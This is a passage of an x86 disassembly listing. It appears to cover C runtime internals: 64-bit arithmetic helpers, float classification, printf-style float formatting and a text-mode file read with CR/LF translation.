		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_44E65A
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_44E65A:				; CODE XREF: sub_44E641+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_44E641	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E681	proc near		; CODE XREF: sub_44D621+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_44E6C4
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_44E6B1
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44E6B1
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44E6B1
		cmp	word ptr [ecx],	0
		jz	short loc_44E6B8


loc_44E6B1:				; CODE XREF: sub_44E681+1Aj
					; sub_44E681+21j ...
		mov	edx, 2
		jmp	short loc_44E6BD
; ---------------------------------------------------------------------------


loc_44E6B8:				; CODE XREF: sub_44E681+2Ej
		mov	edx, 1


loc_44E6BD:				; CODE XREF: sub_44E681+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_44E6C4:				; CODE XREF: sub_44E681+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_44E6E3
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44E6E3
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44E6E3
		cmp	word ptr [ecx],	0
		jz	short loc_44E6E7


loc_44E6E3:				; CODE XREF: sub_44E681+4Cj
					; sub_44E681+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44E6E7:				; CODE XREF: sub_44E681+60j
		xor	eax, eax
		retn
sub_44E681	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E6F1	proc near		; CODE XREF: sub_44D631+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44F2D1
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44E6F1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E711	proc near		; CODE XREF: sub_44D631+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44F371
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44E711	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E731	proc near		; CODE XREF: sub_44D631+20Bp
					; sub_44D631+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_44E731	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E761	proc near		; CODE XREF: sub_44D631+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E791	proc near		; CODE XREF: sub_44D631+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D0
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_44E7B6
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101E0


loc_44E7B6:				; CODE XREF: sub_44E791+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44E7EA
		cmp	al, 46h
		jz	short loc_44E7EA
		cmp	al, 67h
		jz	short loc_44E7CD
		cmp	al, 47h
		jnz	loc_44EA34


loc_44E7CD:				; CODE XREF: sub_44E791+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_44EA34
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_44EA34


loc_44E7EA:				; CODE XREF: sub_44E791+2Aj
					; sub_44E791+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44E7FA
		cmp	al, 47h
		jnz	short loc_44E835


loc_44E7FA:				; CODE XREF: sub_44E791+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_44E818
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44E818
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44E818:				; CODE XREF: sub_44E791+72j
					; sub_44E791+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44E835
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44E835:				; CODE XREF: sub_44E791+67j
					; sub_44E791+98j
		cmp	[ebp+arg_10], 0
		jg	loc_44E901
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44E867
		test	word ptr [eax+38h], 8
		jz	short loc_44E87F


loc_44E867:				; CODE XREF: sub_44E791+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44E87F:				; CODE XREF: sub_44E791+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_44E899
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_44E899:				; CODE XREF: sub_44E791+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44E8CA
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44E8CA:				; CODE XREF: sub_44E791+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_44EC26
; ---------------------------------------------------------------------------


loc_44E901:				; CODE XREF: sub_44E791+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_44E97B
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44E958
		test	word ptr [eax+38h], 8
		jz	short loc_44E96D


loc_44E958:				; CODE XREF: sub_44E791+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


loc_44E96D:				; CODE XREF: sub_44E791+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_44EC26
; ---------------------------------------------------------------------------


loc_44E97B:				; CODE XREF: sub_44E791+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44E9C0
		test	word ptr [eax+38h], 8
		jz	short loc_44E9D8


loc_44E9C0:				; CODE XREF: sub_44E791+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44E9D8:				; CODE XREF: sub_44E791+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44E9EE
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44E9EE:				; CODE XREF: sub_44E791+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_44EC26
; ---------------------------------------------------------------------------


loc_44EA34:				; CODE XREF: sub_44E791+36j
					; sub_44E791+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44EA3F
		cmp	al, 47h
		jnz	short loc_44EA8A


loc_44EA3F:				; CODE XREF: sub_44E791+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44EA5D
		test	word ptr [eax+38h], 8
		jnz	short loc_44EA5D
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44EA5D:				; CODE XREF: sub_44E791+2B8j
					; sub_44E791+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44EA75
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44EA75:				; CODE XREF: sub_44E791+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_44EAA0
; ---------------------------------------------------------------------------


loc_44EA8A:				; CODE XREF: sub_44E791+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44EA96
		mov	[ebp+arg_4], 70h
		jmp	short loc_44EAA0
; ---------------------------------------------------------------------------


loc_44EA96:				; CODE XREF: sub_44E791+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_44EAA0
		mov	[ebp+arg_4], 50h


loc_44EAA0:				; CODE XREF: sub_44E791+2F7j
					; sub_44E791+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44EAD1
		test	word ptr [eax+38h], 8
		jz	short loc_44EAE9


loc_44EAD1:				; CODE XREF: sub_44E791+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44EAE9:				; CODE XREF: sub_44E791+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_44EB4C
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_44EB11
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44EB11:				; CODE XREF: sub_44E791+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_44EB4C:				; CODE XREF: sub_44E791+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_44EB7A
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_44EB8A
; ---------------------------------------------------------------------------


loc_44EB7A:				; CODE XREF: sub_44E791+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_44EB8A:				; CODE XREF: sub_44E791+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_44EBBC
; ---------------------------------------------------------------------------


loc_44EB93:				; CODE XREF: sub_44E791+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_44F591
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_44EBBC:				; CODE XREF: sub_44E791+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_44EB93
		cmp	[ebp+var_8], 2
		jge	short loc_44EBE0
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44EBD4
		cmp	al, 45h
		jnz	short loc_44EBE0


loc_44EBD4:				; CODE XREF: sub_44E791+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_44EBE0:				; CODE XREF: sub_44E791+436j
					; sub_44E791+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_44EC0D
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_44EC0D
; ---------------------------------------------------------------------------


loc_44EBF4:				; CODE XREF: sub_44E791+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_44EC0D:				; CODE XREF: sub_44E791+453j
					; sub_44E791+461j
		cmp	[ebp+var_8], 0
		jg	short loc_44EBF4
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_44EC26:				; CODE XREF: sub_44E791+16Bj
					; sub_44E791+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_44EC69
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_44EC69
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_44EC69:				; CODE XREF: sub_44E791+4A2j
					; sub_44E791+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E791	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44EC71	proc near		; CODE XREF: sub_44DCC1+348p
					; DMN1:0044EFECp

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_44ECA6
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_44ECAD


loc_44ECA6:				; CODE XREF: sub_44EC71+18j
		xor	eax, eax
		jmp	loc_44EF96
; ---------------------------------------------------------------------------


loc_44ECAD:				; CODE XREF: sub_44EC71+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_44ED0F
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_44ED0F
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_413988[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_44ED0F:				; CODE XREF: sub_44EC71+56j
					; sub_44EC71+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18
		test	eax, eax
		jnz	short loc_44ED7F
		call	dword_411CE8
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_44ED60
		call	sub_44A781
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_44EF96
; ---------------------------------------------------------------------------


loc_44ED60:				; CODE XREF: sub_44EC71+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_44ED6D
		xor	eax, eax
		jmp	loc_44EF96
; ---------------------------------------------------------------------------


loc_44ED6D:				; CODE XREF: sub_44EC71+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_44A621
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44EF96
; ---------------------------------------------------------------------------


loc_44ED7F:				; CODE XREF: sub_44EC71+CCj
		mov	eax, [ebp+var_4]
		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_44EF94
		cmp	[ebp+var_4], 0
		jz	short loc_44EDCE
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_44EDCE
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_44EDE9
; ---------------------------------------------------------------------------


loc_44EDCE:				; CODE XREF: sub_44EC71+136j
					; sub_44EC71+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_44EDE9:				; CODE XREF: sub_44EC71+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EDF6:				; CODE XREF: sub_44EC71+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_44EE3A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_44EF8A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_44EF8A
; ---------------------------------------------------------------------------


loc_44EE3A:				; CODE XREF: sub_44EC71+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_44EE54
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EE54:				; CODE XREF: sub_44EC71+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_44EE8E
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_44EE79
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EE79:				; CODE XREF: sub_44EC71+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EE8E:				; CODE XREF: sub_44EC71+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18
		test	eax, eax
		jnz	short loc_44EECD
		call	dword_411CE8
		mov	[ebp+var_10], eax


loc_44EECD:				; CODE XREF: sub_44EC71+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_44EED9
		cmp	[ebp+var_4], 0
		jnz	short loc_44EEEA


loc_44EED9:				; CODE XREF: sub_44EC71+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EEEA:				; CODE XREF: sub_44EC71+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_44EF42
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44EF19
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EF19:				; CODE XREF: sub_44EC71+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EF42:				; CODE XREF: sub_44EC71+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_44EF5E
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44EF5E
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44EF7D
; ---------------------------------------------------------------------------


loc_44EF5E:				; CODE XREF: sub_44EC71+2D7j
					; sub_44EC71+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_44E1D1
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_44EF7D
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_44EF7D:				; CODE XREF: sub_44EC71+180j
					; sub_44EC71+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_44EDF6


loc_44EF8A:				; CODE XREF: sub_44EC71+1A3j
					; sub_44EC71+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


